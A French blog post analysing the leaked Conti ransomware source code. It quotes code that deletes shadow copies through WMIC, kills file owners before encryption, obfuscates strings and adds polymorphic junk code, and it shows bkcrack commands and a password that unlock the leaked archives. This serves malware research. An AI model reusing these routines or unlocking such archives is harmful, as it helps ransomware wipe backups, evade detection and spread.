De retour, après plusieurs mois d’absence, quoi que… Pour ceux qui me suivent, vous savez que je traine toujours par là.
Avant de commencer, je dois vous signaler que j’écris cet article sans aucune mauvaise intention et que tous ce qui est écrit ici a pour objectif de contribuer à la recherche contre la cyber malveillance. Ces travaux ne doivent en aucun cas être utilisé pour de mauvaises raisons. Toute les informations qui vont suivre ont déjà été rendu publique.
Vous le savez sans doute, ceci à débuter aux alentours du 28 février 2022 un peu avant minuit. Un chercheur en sécurité (qui a indiqué son soutien à l’Ukraine) publie sur Twitter
via le pseudo @ContiLeaks des informations sur le group Conti
.
Lors de l’invasion Russe en Ukraine (le 24 février 2022), le Groupe Conti
a annoncé son soutien à la Russie (juste avant de faire volte-face) et a menacé de déployer des mesures de représailles si des cyberattaques étaient lancées contre le pays.
Mais le mal est fait, et en conséquence, les messages des journaux de discussion internes du Groupe ont été divulgués mais aussi, les codes source du locker
ainsi que d’autres fichiers utilisés par le Groupe.
Globalement, un Groupe de cybercriminelles Russe très agressif (et impitoyable) qui se concentre sur le déploiement de son Ransomware
en attaquant des entreprises avec des revenus de plus de 100 millions de dollars annuels.
Le Groupe Conti
fait la une des journaux internationaux chaque semaine, lorsqu’il publie sur son blog, les informations volées à des entreprises qui refusent de payer les demandes d’extorsions.
Il y a tellement de chose à dire … Et ce n’est pas l’objectif de cet article.
Alors, pour beaucoup plus de précision, vous pouvez lire cette série d'article :
Un programme qui chiffre le disque, oui… Mais plus en détails avant de réaliser l’étape de chiffrement. Ce type de programme doit s’attacher à réaliser quelques actions nécessaires.
Il va effacer le VSS
pour empêcher l’utilisateur de restaurer les fichiers perdus. Ci-dessous, une portion de code utiliser par le Groupe Conti
pour réaliser ce travail (visible dans le fichier conti_locker_v2.zip
).
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
&pclsObj, &uReturn);
if (0 == uReturn)
{
break;
}
VARIANT vtProp;
// Get the value of the Name property
hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);
WCHAR CmdLine[1024];
RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);
LPVOID Old;
pWow64DisableWow64FsRedirection(&Old);
CmdExecW(CmdLine);
pWow64RevertWow64FsRedirection(Old);
pVariantClear(&vtProp);
pclsObj->Release();
}
Et tuer certains processus pour débloquer les fichiers a chiffré. Notez, le flag OPEN_EXISTING
, lors du chiffrement le fichier source est écrasé (c’est beaucoup plus efficace que d’ouvrir un nouveau fichier et d’effacer l’ancien).
if (KillFileOwner(FileInfo->Filename))
{
logs::Write(OBFW(L"KillFileOwner for file %s - success"), FileInfo->Filename);
FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (FileInfo->FileHandle == INVALID_HANDLE_VALUE) {
logs::Write(OBFW(L"Can't open file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;
}
}
Souvent, les processus des éléments de sécurité sont également tués, quand cela n’est pas réalisé en amont avant de déploiement du
Ransomware
. Mais cela dépend…
Evidemment, une fonction récursive pour le parcours de(s) arborescence(s) dans laquelle on va inclure un algorithme de chiffrement solide et bien implémenté et une petite touche de multithreading
pour travailler plus vite.
Et puis, un peu d’obfuscation
pour cacher les calls
et les strings
qui passe en mémoire et on emballe le tout avec un packer
maison.
Bref, le cahier des charges minimum pour réaliser ce type de programme. En comparaison avec d’autres type de Malwares comme ZeuS les Ransomware sont plutôt simple à concevoir…
Concernant le fichier conti_locker_v2_zip
, l’un des liens de la liste ci-dessous nous permet de télécharger l’archive contenant les codes sources. Mais cette archive est protégée par un mot de passe.
Plus tard, un second Tweet
vers le téléchargement d’une partie des codes sources mais une grande majorité des fichiers .cpp
du locker
ont été effacés.
Bon, ce qui m’intéresse avant tous, c’est le locker
. Mais je ne connais pas le mot de passe. En réalité, pour obtenir le fameux sésame c’est digne d’une épreuve de CTF
.
Nous savons que nous connaissons une partie des données de l’archive conti_locker_v2.zip
protégée (le nom des fichiers n’est pas chiffré). Nous pouvons le vérifier avec la commande suivante :
7z l conti_locker_v2.zip
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=fr_FR.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)
Scanning the drive for archives:
1 file, 13510329 bytes (13 MiB)
Listing archive: conti_locker_v2.zip
--
Path = conti_locker_v2.zip
Type = zip
Physical Size = 13510329
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2022-01-27 18:25:00 D.... 0 0 conti_locker
2020-09-16 01:09:55 ..... 2964 705 conti_locker/ContiLocker_v2.sln
2020-09-16 01:09:55 D.... 0 0 conti_locker/locker
2020-09-16 01:09:55 ..... 4693 1595 conti_locker/locker/search.cpp
2020-09-16 01:09:55 ..... 93671 21193 conti_locker/locker/ntdll.h
2020-09-16 01:09:55 ..... 807 436 conti_locker/locker/locker.h
2020-09-16 01:09:55 ..... 91423 21952 conti_locker/locker/GetApi.h
2020-09-16 01:09:55 ..... 611 324 conti_locker/locker/memory.cpp
2020-09-16 01:09:55 D.... 0 0 conti_locker/locker/antihook
2020-09-16 01:09:55 ..... 69 81 conti_locker/locker/antihook/antihooks.h
2020-09-16 01:09:55 ..... 4 16 conti_locker/locker/antihook/CONTI.txt
2020-09-16 01:09:55 ..... 9775 2481 conti_locker/locker/antihook/antihooks.cpp
2020-09-16 01:09:55 ..... 16988 3419 conti_locker/locker/queue.h
2020-09-16 01:09:55 ..... 6844 1326 conti_locker/locker/locker.vcxproj.filters
2020-09-16 01:09:55 ..... 311 218 conti_locker/locker/common.h
2020-09-16 01:09:55 ..... 14353 4001 conti_locker/locker/network_scanner.cpp
2020-09-16 01:09:55 ..... 451 290 conti_locker/locker/filesystem.h
2020-09-16 01:09:55 ..... 22668 5467 conti_locker/locker/locker.cpp
2020-09-16 01:09:55 ..... 1015 477 conti_locker/locker/disks.cpp
2020-09-16 01:09:55 ..... 307 220 conti_locker/locker/process_killer.h
2020-09-16 01:09:55 ..... 1239 623 conti_locker/locker/logs.cpp
2020-09-16 01:09:55 ..... 16048 5448 conti_locker/locker/threadpool.cpp
2020-09-16 01:09:55 ..... 165 155 conti_locker/locker/locker.vcxproj.user
2020-09-16 01:09:55 ..... 9549 2680 conti_locker/locker/main.cpp
2020-09-16 01:09:55 D.... 0 0 conti_locker/locker/chacha20
2020-09-16 01:09:55 ..... 8342 2408 conti_locker/locker/chacha20/ecrypt-sync.h
2020-09-16 01:09:55 ..... 4912 1092 conti_locker/locker/chacha20/ecrypt-config.h
2020-09-16 01:09:55 ..... 5576 1548 conti_locker/locker/chacha20/chacha.c
2020-09-16 01:09:55 ..... 7433 1901 conti_locker/locker/chacha20/ecrypt-portable.h
2020-09-16 01:09:55 ..... 4 16 conti_locker/locker/chacha20/CONTI.txt
2020-09-16 01:09:55 ..... 16 28 conti_locker/locker/chacha20/R3ADM3.txt
2020-09-16 01:09:55 ..... 1093 441 conti_locker/locker/chacha20/ecrypt-machine.h
2020-09-16 01:09:55 ..... 464 247 conti_locker/locker/chacha20/chacha.h
2020-09-16 01:09:55 ..... 16 28 conti_locker/locker/R3ADM3.txt
2020-09-16 01:09:55 ..... 85 85 conti_locker/locker/hash.h
2020-09-16 01:09:55 ..... 2702 1016 conti_locker/locker/process_killer.cpp
2020-09-16 01:09:55 ..... 9166 1450 conti_locker/locker/locker.vcxproj
2020-09-16 01:09:55 ..... 166 147 conti_locker/locker/memory.h
2020-09-16 01:09:55 ..... 853 391 conti_locker/locker/global_parameters.cpp
2020-09-16 01:09:55 ..... 60967 9561 conti_locker/locker/api.h
2020-09-16 01:09:55 ..... 982 400 conti_locker/locker/MetaRandom2.h
2020-09-16 01:09:55 ..... 370 256 conti_locker/locker/network_scanner.h
2020-09-16 01:09:55 ..... 383 245 conti_locker/locker/global_parameters.h
2020-09-16 01:09:55 D.... 0 0 conti_locker/locker/Debug
2020-09-16 01:09:55 ..... 324753 74684 conti_locker/locker/Debug/network_scanner.obj
2020-09-16 01:09:55 ..... 157681 41849 conti_locker/locker/Debug/disks.obj
2020-09-16 01:09:55 ..... 1257406 175313 conti_locker/locker/Debug/locker.obj
2020-09-16 01:09:55 ..... 98273 26075 conti_locker/locker/Debug/antihooks.obj
2020-09-16 01:09:55 ..... 789504 74532 conti_locker/locker/Debug/vc142.idb
2020-09-16 01:09:55 ..... 0 12 conti_locker/locker/Debug/locker.vcxproj.FileListAbsolute.txt
2020-09-16 01:09:55 ..... 6098944 1008709 conti_locker/locker/Debug/vc142.pdb
2020-09-16 01:09:55 ..... 76614 22635 conti_locker/locker/Debug/logs.obj
2020-09-16 01:09:55 ..... 251696 61627 conti_locker/locker/Debug/threadpool.obj
2020-09-16 01:09:55 ..... 50579 16551 conti_locker/locker/Debug/memory.obj
2020-09-16 01:09:55 ..... 47775 15922 conti_locker/locker/Debug/hash.obj
2020-09-16 01:09:55 ..... 392856 83758 conti_locker/locker/Debug/search.obj
2020-09-16 01:09:55 ..... 582 324 conti_locker/locker/Debug/locker.log
2020-09-16 01:09:55 ..... 158013 32505 conti_locker/locker/Debug/process_killer.obj
2020-09-16 01:09:55 ..... 16 28 conti_locker/locker/Debug/R3ADM3.txt
2020-09-16 01:09:55 ..... 53923 16840 conti_locker/locker/Debug/global_parameters.obj
2020-09-16 01:09:55 ..... 12192 4734 conti_locker/locker/Debug/chacha.obj
2020-09-16 01:09:55 ..... 293272 66794 conti_locker/locker/Debug/main.obj
2020-09-16 01:09:55 D.... 0 0 conti_locker/locker/Debug/locker.tlog
2020-09-16 01:09:55 ..... 589012 23683 conti_locker/locker/Debug/locker.tlog/CL.read.1.tlog
2020-09-16 01:09:55 ..... 190 168 conti_locker/locker/Debug/locker.tlog/locker.lastbuildstate
2020-09-16 01:09:55 ..... 5364 572 conti_locker/locker/Debug/locker.tlog/link.read.1.tlog
2020-09-16 01:09:55 ..... 1686 232 conti_locker/locker/Debug/locker.tlog/link.write.1.tlog
2020-09-16 01:09:55 ..... 2636 500 conti_locker/locker/Debug/locker.tlog/link.command.1.tlog
2020-09-16 01:09:55 ..... 10134 592 conti_locker/locker/Debug/locker.tlog/CL.command.1.tlog
2020-09-16 01:09:55 ..... 13828 509 conti_locker/locker/Debug/locker.tlog/CL.write.1.tlog
2020-09-16 01:09:55 ..... 189026 40982 conti_locker/locker/Debug/api.obj
2020-09-16 01:09:55 ..... 1376 224 conti_locker/locker/Debug/locker.Build.CppClean.log
2020-09-16 01:09:55 ..... 14189 4599 conti_locker/locker/api.cpp
2020-09-16 01:09:55 ..... 930 469 conti_locker/locker/threadpool.h
2020-09-16 01:09:55 ..... 119 115 conti_locker/locker/logs.h
2020-09-16 01:09:55 ..... 870 474 conti_locker/locker/hash.cpp
2020-09-16 01:09:55 ..... 2668 968 conti_locker/locker/MetaString.h
2020-09-16 01:09:55 D.... 0 0 conti_locker/locker/Release
2020-09-16 01:09:55 ..... 1025351 249995 conti_locker/locker/Release/network_scanner.obj
2020-09-16 01:09:55 ..... 861943 220487 conti_locker/locker/Release/disks.obj
2020-09-16 01:09:55 ..... 2002309 401503 conti_locker/locker/Release/locker.obj
2020-09-16 01:09:55 ..... 684654 176137 conti_locker/locker/Release/antihooks.obj
2020-09-16 01:09:55 ..... 0 12 conti_locker/locker/Release/locker.vcxproj.FileListAbsolute.txt
2020-09-16 01:09:55 ..... 868580 221616 conti_locker/locker/Release/logs.obj
2020-09-16 01:09:55 ..... 927286 230922 conti_locker/locker/Release/threadpool.obj
2020-09-16 01:09:55 ..... 847172 216675 conti_locker/locker/Release/memory.obj
2020-09-16 01:09:55 ..... 802125 203328 conti_locker/locker/Release/hash.obj
2020-09-16 01:09:55 ..... 1024261 249068 conti_locker/locker/Release/search.obj
2020-09-16 01:09:55 ..... 11631 1189 conti_locker/locker/Release/locker.log
2020-09-16 01:09:55 ..... 854852 219165 conti_locker/locker/Release/process_killer.obj
2020-09-16 01:09:55 ..... 16 28 conti_locker/locker/Release/R3ADM3.txt
2020-09-16 01:09:55 ..... 847684 216947 conti_locker/locker/Release/global_parameters.obj
2020-09-16 01:09:55 ..... 14902 3599 conti_locker/locker/Release/chacha.obj
2020-09-16 01:09:55 ..... 1699840 323509 conti_locker/locker/Release/vc140.pdb
2020-09-16 01:09:55 ..... 960358 238333 conti_locker/locker/Release/main.obj
2020-09-16 01:09:55 D.... 0 0 conti_locker/locker/Release/locker.tlog
2020-09-16 01:09:55 ..... 420886 10333 conti_locker/locker/Release/locker.tlog/CL.read.1.tlog
2020-09-16 01:09:55 ..... 195 172 conti_locker/locker/Release/locker.tlog/locker.lastbuildstate
2020-09-16 01:09:55 ..... 5694 616 conti_locker/locker/Release/locker.tlog/link.read.1.tlog
2020-09-16 01:09:55 ..... 1758 229 conti_locker/locker/Release/locker.tlog/link.write.1.tlog
2020-09-16 01:09:55 ..... 2832 532 conti_locker/locker/Release/locker.tlog/link.command.1.tlog
2020-09-16 01:09:55 ..... 9658 539 conti_locker/locker/Release/locker.tlog/CL.command.1.tlog
2020-09-16 01:09:55 ..... 5570 387 conti_locker/locker/Release/locker.tlog/CL.write.1.tlog
2020-09-16 01:09:55 ..... 968713 241971 conti_locker/locker/Release/api.obj
2020-09-16 01:09:55 ..... 1339 224 conti_locker/locker/Release/locker.Build.CppClean.log
2020-09-16 01:09:55 D.... 0 0 conti_locker/builder
2020-09-16 01:09:55 ..... 869 497 conti_locker/builder/builder.vcxproj.filters
2020-09-16 01:09:55 ..... 165 155 conti_locker/builder/builder.vcxproj.user
2020-09-16 01:09:55 ..... 6962 1037 conti_locker/builder/builder.vcxproj
2020-09-16 01:09:55 D.... 0 0 conti_locker/decryptor
2020-09-16 01:09:55 ..... 3414 1219 conti_locker/decryptor/search.cpp
2020-09-16 01:09:55 ..... 761 412 conti_locker/decryptor/decryptor.h
2020-09-16 01:09:55 ..... 8252 1289 conti_locker/decryptor/decryptor.vcxproj
2020-09-16 01:09:55 ..... 590 316 conti_locker/decryptor/memory.cpp
2020-09-16 01:09:55 ..... 16988 3419 conti_locker/decryptor/queue.h
2020-09-16 01:09:55 ..... 165 155 conti_locker/decryptor/decryptor.vcxproj.user
2020-09-16 01:09:55 ..... 295 209 conti_locker/decryptor/common.h
2020-09-16 01:09:55 ..... 13589 3803 conti_locker/decryptor/network_scanner.cpp
2020-09-16 01:09:55 ..... 451 290 conti_locker/decryptor/filesystem.h
2020-09-16 01:09:55 ..... 766 386 conti_locker/decryptor/disks.cpp
2020-09-16 01:09:55 ..... 14453 5195 conti_locker/decryptor/threadpool.cpp
2020-09-16 01:09:55 ..... 2049 803 conti_locker/decryptor/main.cpp
2020-09-16 01:09:55 D.... 0 0 conti_locker/decryptor/chacha20
2020-09-16 01:09:55 ..... 8342 2408 conti_locker/decryptor/chacha20/ecrypt-sync.h
2020-09-16 01:09:55 ..... 4912 1092 conti_locker/decryptor/chacha20/ecrypt-config.h
2020-09-16 01:09:55 ..... 5576 1548 conti_locker/decryptor/chacha20/chacha.c
2020-09-16 01:09:55 ..... 7433 1901 conti_locker/decryptor/chacha20/ecrypt-portable.h
2020-09-16 01:09:55 ..... 4 16 conti_locker/decryptor/chacha20/CONTI.txt
2020-09-16 01:09:55 ..... 16 28 conti_locker/decryptor/chacha20/R3ADM3.txt
2020-09-16 01:09:55 ..... 1093 441 conti_locker/decryptor/chacha20/ecrypt-machine.h
2020-09-16 01:09:55 ..... 464 247 conti_locker/decryptor/chacha20/chacha.h
2020-09-16 01:09:55 ..... 16 28 conti_locker/decryptor/R3ADM3.txt
2020-09-16 01:09:55 ..... 166 147 conti_locker/decryptor/memory.h
2020-09-16 01:09:55 ..... 445 256 conti_locker/decryptor/global_parameters.cpp
2020-09-16 01:09:55 ..... 982 400 conti_locker/decryptor/MetaRandom2.h
2020-09-16 01:09:55 ..... 370 256 conti_locker/decryptor/network_scanner.h
2020-09-16 01:09:55 ..... 149 133 conti_locker/decryptor/global_parameters.h
2020-09-16 01:09:55 D.... 0 0 conti_locker/decryptor/Debug
2020-09-16 01:09:55 ..... 213644 57506 conti_locker/decryptor/Debug/network_scanner.obj
2020-09-16 01:09:55 ..... 141570 38299 conti_locker/decryptor/Debug/disks.obj
2020-09-16 01:09:55 ..... 64005 21104 conti_locker/decryptor/Debug/decryptor.obj
2020-09-16 01:09:55 ..... 0 12 conti_locker/decryptor/Debug/decryptor.vcxproj.FileListAbsolute.txt
2020-09-16 01:09:55 ..... 82 88 conti_locker/decryptor/Debug/decryptor.log
2020-09-16 01:09:55 ..... 723968 53211 conti_locker/decryptor/Debug/vc142.idb
2020-09-16 01:09:55 ..... 831488 198521 conti_locker/decryptor/Debug/vc142.pdb
2020-09-16 01:09:55 ..... 230465 57364 conti_locker/decryptor/Debug/threadpool.obj
2020-09-16 01:09:55 ..... 48622 15867 conti_locker/decryptor/Debug/memory.obj
2020-09-16 01:09:55 ..... 1169 200 conti_locker/decryptor/Debug/decryptor.Build.CppClean.log
2020-09-16 01:09:55 ..... 315137 71592 conti_locker/decryptor/Debug/search.obj
2020-09-16 01:09:55 D.... 0 0 conti_locker/decryptor/Debug/decryptor.tlog
2020-09-16 01:09:55 ..... 346628 14151 conti_locker/decryptor/Debug/decryptor.tlog/CL.read.1.tlog
2020-09-16 01:09:55 ..... 190 168 conti_locker/decryptor/Debug/decryptor.tlog/decryptor.lastbuildstate
2020-09-16 01:09:55 ..... 5616 584 conti_locker/decryptor/Debug/decryptor.tlog/link.read.1.tlog
2020-09-16 01:09:55 ..... 1266 197 conti_locker/decryptor/Debug/decryptor.tlog/link.write.1.tlog
2020-09-16 01:09:55 ..... 2316 522 conti_locker/decryptor/Debug/decryptor.tlog/link.command.1.tlog
2020-09-16 01:09:55 ..... 6498 503 conti_locker/decryptor/Debug/decryptor.tlog/CL.command.1.tlog
2020-09-16 01:09:55 ..... 4172 317 conti_locker/decryptor/Debug/decryptor.tlog/CL.write.1.tlog
2020-09-16 01:09:55 ..... 16 28 conti_locker/decryptor/Debug/R3ADM3.txt
2020-09-16 01:09:55 ..... 50623 15832 conti_locker/decryptor/Debug/global_parameters.obj
2020-09-16 01:09:55 ..... 12200 4721 conti_locker/decryptor/Debug/chacha.obj
2020-09-16 01:09:55 ..... 152988 40495 conti_locker/decryptor/Debug/main.obj
2020-09-16 01:09:55 ..... 806 417 conti_locker/decryptor/threadpool.h
2020-09-16 01:09:55 ..... 4963 1041 conti_locker/decryptor/decryptor.vcxproj.filters
2020-09-16 01:09:55 ..... 8802 2078 conti_locker/decryptor/decryptor.cpp
2020-09-16 01:09:55 ..... 2668 968 conti_locker/decryptor/MetaString.h
2020-09-16 01:09:55 D.... 0 0 conti_locker/decryptor/Release
2020-09-16 01:09:55 ..... 893939 227034 conti_locker/decryptor/Release/network_scanner.obj
2020-09-16 01:09:55 ..... 822538 204992 conti_locker/decryptor/Release/disks.obj
2020-09-16 01:09:55 ..... 832192 208735 conti_locker/decryptor/Release/decryptor.obj
2020-09-16 01:09:55 ..... 0 12 conti_locker/decryptor/Release/decryptor.vcxproj.FileListAbsolute.txt
2020-09-16 01:09:55 ..... 2720 650 conti_locker/decryptor/Release/decryptor.log
2020-09-16 01:09:55 ..... 883581 216611 conti_locker/decryptor/Release/threadpool.obj
2020-09-16 01:09:55 ..... 819832 204371 conti_locker/decryptor/Release/memory.obj
2020-09-16 01:09:55 ..... 1205 201 conti_locker/decryptor/Release/decryptor.Build.CppClean.log
2020-09-16 01:09:55 ..... 911897 224285 conti_locker/decryptor/Release/search.obj
2020-09-16 01:09:55 D.... 0 0 conti_locker/decryptor/Release/decryptor.tlog
2020-09-16 01:09:55 ..... 243510 5014 conti_locker/decryptor/Release/decryptor.tlog/CL.read.1.tlog
2020-09-16 01:09:55 ..... 195 172 conti_locker/decryptor/Release/decryptor.tlog/decryptor.lastbuildstate
2020-09-16 01:09:55 ..... 5868 628 conti_locker/decryptor/Release/decryptor.tlog/link.read.1.tlog
2020-09-16 01:09:55 ..... 1414 201 conti_locker/decryptor/Release/decryptor.tlog/link.write.1.tlog
2020-09-16 01:09:55 ..... 2460 548 conti_locker/decryptor/Release/decryptor.tlog/link.command.1.tlog
2020-09-16 01:09:55 ..... 6300 472 conti_locker/decryptor/Release/decryptor.tlog/CL.command.1.tlog
2020-09-16 01:09:55 ..... 3834 310 conti_locker/decryptor/Release/decryptor.tlog/CL.write.1.tlog
2020-09-16 01:09:55 ..... 16 28 conti_locker/decryptor/Release/R3ADM3.txt
2020-09-16 01:09:55 ..... 819450 204329 conti_locker/decryptor/Release/global_parameters.obj
2020-09-16 01:09:55 ..... 14825 3555 conti_locker/decryptor/Release/chacha.obj
2020-09-16 01:09:55 ..... 536576 128967 conti_locker/decryptor/Release/vc140.pdb
2020-09-16 01:09:55 ..... 824711 206456 conti_locker/decryptor/Release/main.obj
2020-09-16 01:09:55 ..... 16 28 conti_locker/R3ADM3.txt
2020-09-16 01:09:55 D.... 0 0 conti_locker/Debug
2020-09-16 01:09:55 ..... 1191936 213435 conti_locker/Debug/decryptor.pdb
2020-09-16 01:09:55 ..... 3376392 699083 conti_locker/Debug/locker.ilk
2020-09-16 01:09:55 ..... 659456 103796 conti_locker/Debug/builder.pdb
2020-09-16 01:09:55 ..... 16 28 conti_locker/Debug/R3ADM3.txt
2020-09-16 01:09:55 ..... 158720 40850 conti_locker/Debug/decryptor.exe
2020-09-16 01:09:55 ..... 870896 143161 conti_locker/Debug/decryptor.ilk
2020-09-16 01:09:55 ..... 651756 114062 conti_locker/Debug/builder.ilk
2020-09-16 01:09:55 ..... 374784 140453 conti_locker/Debug/builder.exe
2020-09-16 01:09:55 ..... 1461248 333081 conti_locker/Debug/locker.exe
2020-09-16 01:09:55 ..... 9228288 1760335 conti_locker/Debug/locker.pdb
2020-09-16 01:09:55 D.... 0 0 conti_locker/Release
2020-09-16 01:09:55 ..... 3805184 605211 conti_locker/Release/decryptor.pdb
2020-09-16 01:09:55 ..... 359390 96138 conti_locker/Release/builder.iobj
2020-09-16 01:09:55 ..... 116272 22700 conti_locker/Release/builder.ipdb
2020-09-16 01:09:55 ..... 115296 25496 conti_locker/Release/decryptor.ipdb
2020-09-16 01:09:55 ..... 148206 147358 conti_locker/Release/test.zip
2020-09-16 01:09:55 ..... 87040 46132 conti_locker/Release/locker — копия.exe
2020-09-16 01:09:55 ..... 2294332 378480 conti_locker/Release/locker.iobj
2020-09-16 01:09:55 ..... 872448 176861 conti_locker/Release/builder.pdb
2020-09-16 01:09:55 ..... 479547 108657 conti_locker/Release/decryptor.iobj
2020-09-16 01:09:55 ..... 16 28 conti_locker/Release/R3ADM3.txt
2020-09-16 01:09:55 ..... 110592 57006 conti_locker/Release/decryptor.exe
2020-09-16 01:09:55 ..... 508192 116647 conti_locker/Release/locker.ipdb
2020-09-16 01:09:55 ..... 317952 158095 conti_locker/Release/builder.exe
2020-09-16 01:09:55 ..... 181760 89439 conti_locker/Release/locker.exe
2020-09-16 01:09:55 ..... 105358 105390 conti_locker/Release/builder.rar
------------------- ----- ------------ ------------ ------------------------
2022-01-27 18:25:00 64514996 13462255 199 files, 17 folders
Mais protégé comment d’ailleurs ? Avec la commande 7z l -slt conti_locker_v2.zip
nous pouvons observer :
Method = ZipCrypto Deflate:Maximum
Characteristics = UT 0x7875 : Encrypt Descriptor
Un article écrit par Wade Hickey et intitulé How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File publié le 1er mars 2022 décrit cette technique.
Le chiffrement ZipCrypto
est connu pour être vulnérable aux attaques par texte claire connu. En utilisant l’outil bkcrack, nous pouvons changer le mot de passe de l’archive par un mot de passe arbitraire.
En nous basant sur un cleartext
connu dans conti_locker.7z
, dans ce cas, le contenu du fichier R3ADM3.txt
(présent dans les deux archives).
printf "__DECRYPT_NOTE__" > cleartext
# -mx[N] : set compression level: -mx1 (fastest) ... -mx9 (ultra)
# -m{Parameters} : set compression Method
# m={MethodID}
7z a -mm=Deflate -mx9 cleartext.zip cleartext
bkcrack -C conti_locker_v2.zip -c "conti_locker/R3ADM3.txt" -P cleartext.zip -p cleartext
Avec la clé 2a45cf92 4521624b decd8163
obtenu lors de l’étape précédente, nous pouvons créer une nouvelle archive avec un mot de passe que nous contrôlons. Par convention, je choisi le mot de passe : infected
.
bkcrack -C conti_locker_v2.zip -k 2a45cf92 4521624b decd8163 -U unlocked.zip infected
Ce 20 mars 2020 @ContiLeaks publie un lien sur VirusTotal d’une archive supposé être une version plus récente du locker du Groupe Conti
. Après quelques heures de recherche (car pas de compte premium sur VT
), je fini par mettre la main sur cette archive en recherchant celle-ci par son hash
(0737ebb6ede108d90216bc06ccfce57defa2179bfda93a34edd868a6f9172a78
).
Celle-ci est également protégé par un mot de passe. La protection utilisé est Method = LZMA2:6m 7zAES:19
. L’attaque précédente ne fonctionnera pas dans ce contexte, de plus, nous n’avons pas de cleartext
connus. Mais, le Tweet posté juste après le lien VT
est peut-être une indication.
Je décide donc de tester ВсеБудеУкраїна
en tant que mot de passe. Quand je pense aux personnes qui ont essayées hashcat
avec surement pas le bon charset
… lol.
Cette information est disponible depuis le 20 mars 2022 (le jour même) sur le site de (in)sicurezza digitale.
Pourquoi j’ai ce besoin maladif d’étudier les leaks
, je ne sais pas. Mon objectif ici, ou ce qui m’a intrigué. C’est de savoir comment le Ransomware
fait pour cacher ses calls
.
Et ma première surprise en regardant la version 2
du locker
, lorsque j’ai ouvert le fichier conti_locker/locker/GetApi.h
a été de reconnaitre cette bibliothèque pour l’avoir déjà observé dans Carberp.
Je dois avouer aussi que la librairie d’obfuscation
des strings
m’interpelle également, je vais regarder d’un peu plus près dès que j’ai du temps.
// Для ANSI строк.
#define OBFA(str)((const char*)MetaBuffer<std::get<MetaRandom2<__COUNTER__, 30>::value>(PrimeNumbers), \
MetaRandom2<__COUNTER__, 126>::value, \
std::make_index_sequence<sizeof(str)>>((const unsigned char*)str).decrypt())
// Для UNICODE строк.
#define OBFW(str)((const wchar_t*)MetaBuffer<std::get<MetaRandom2<__COUNTER__, 30>::value>(PrimeNumbers), \
MetaRandom2<__COUNTER__, 126>::value, \
std::make_index_sequence<sizeof(str)>>((const unsigned char*)str).decrypt())
Dans la version 3
, le code à légèrement évolué, ce qui retient mon attention ici, c’est la fonction morphcode()
(dans le fichier mrph.h
).
//
// Инструменты для придания коду полиморфности (чтобы один и тот же кусок кода при компиляции
// производил разные последовательности инструкций, и нельзя было выделить сигнатуру участка кода).
// Использовать так:
//
// foo(); // что-то полезное
//
// morphcode(); // полиморфная вставка
//
// int a = bar(); // что-то полезное
//
// morphcode(a); // полиморфная вставка, использующая результаты предыдущего действия
// полиморфная рандомная вставка в код, для рандомизации сигнатур
#ifdef __cplusplus
__forceinline void morphcode(int a) {
#else
__forceinline void morphcode(char* a) {
#endif
#ifdef __cplusplus
volatile int _morph_var = static_cast<int>(1 + MetaRandom2<0, 0x7FFFFF - 1>::value);
#else
volatile int _morph_var = a;
#endif
// делаем арифметическую операцию со случайным (времени компиляции) числом, и операндом.
// за счет того, что число известно во время компиляции, оптимизатор оставит лишь один вариант действия,
// выкинув остальные. Таким образом, одна и та же вставка будет давать всякий раз разный результат.
if (_morph_var % 3) {
_morph_var += (int)a + 2;
while (!(_morph_var % 4)) ++_morph_var;
}
else if (_morph_var % 2) {
_morph_var -= (int)a - 2;
while (!(_morph_var % 3)) ++_morph_var;
}
else if (_morph_var % 4) {
_morph_var = (_morph_var + 2) * ((int)a + 3);
while (!(_morph_var % 2))
if (_morph_var % 5)
--_morph_var;
else ++_morph_var;
}
else if (_morph_var % 5) {
_morph_var = (_morph_var + 11) / ((int)a + 23);
while (!(_morph_var % 3))
if (_morph_var % 5)
++_morph_var;
else --_morph_var;
}
}
Fonction pour rendre le code
polymorphe
(afin que le même morceau de code lors de la compilation produise différentes séquences d’instructions, et qu’il soit impossible d’extraire la signature d’un morceau de code). Effectue une opération arithmétique avec un nombre aléatoire (au moment de la compilation). Du fait que le nombre est connu à la compilation, l’optimiseur ne laissera qu’une seule option, et jette le reste. Ainsi, la même insertion donnera un résultat différent à chaque fois.
D’un point de vu de l’élégance, perso, je trouve que c’est moche. Du coté fonctionnelle, je pense que ce Ransomware
a prouvé son efficacité.
La clé publique est insérée dans le locker
(dans le fichier threadpool.cpp
) :
STATIC BYTE g_PublicKey[4096] = "__publickey__";
La clé privée est insérée dans le unlocker
(toujours dans le fichier threadpool.cpp
) :
STATIC BYTE g_PrivateKey[4096] = "__privatekey__";
Ce leak, c’est vraiment du lourd. Les informations qui ont fuités peuvent permettre à n’importe quel scripts kiddies
de construire son propre Ransomware
.
Cependant, les équipes de Red Team
s’en donneront à cœur joie pour tester et implémenter les techniques d’obfuscation
dans leurs outils internes (enfin, pourquoi pas).
Bien sûr, le code du Ransomware
n’est pas grand-chose à côté de toutes les autres informations qui ont fuité, les communications internes on permis d’identifier des membres du Groupe et ça a doxer
à fond. Toutes ces informations sont disponibles via le compte Twitter
de @ContiLeaks.
Désormais, voilà ce qui se passerai aujourd’hui si l’un des membres du groupe Conti
mettait les pieds en dehors de la Russie.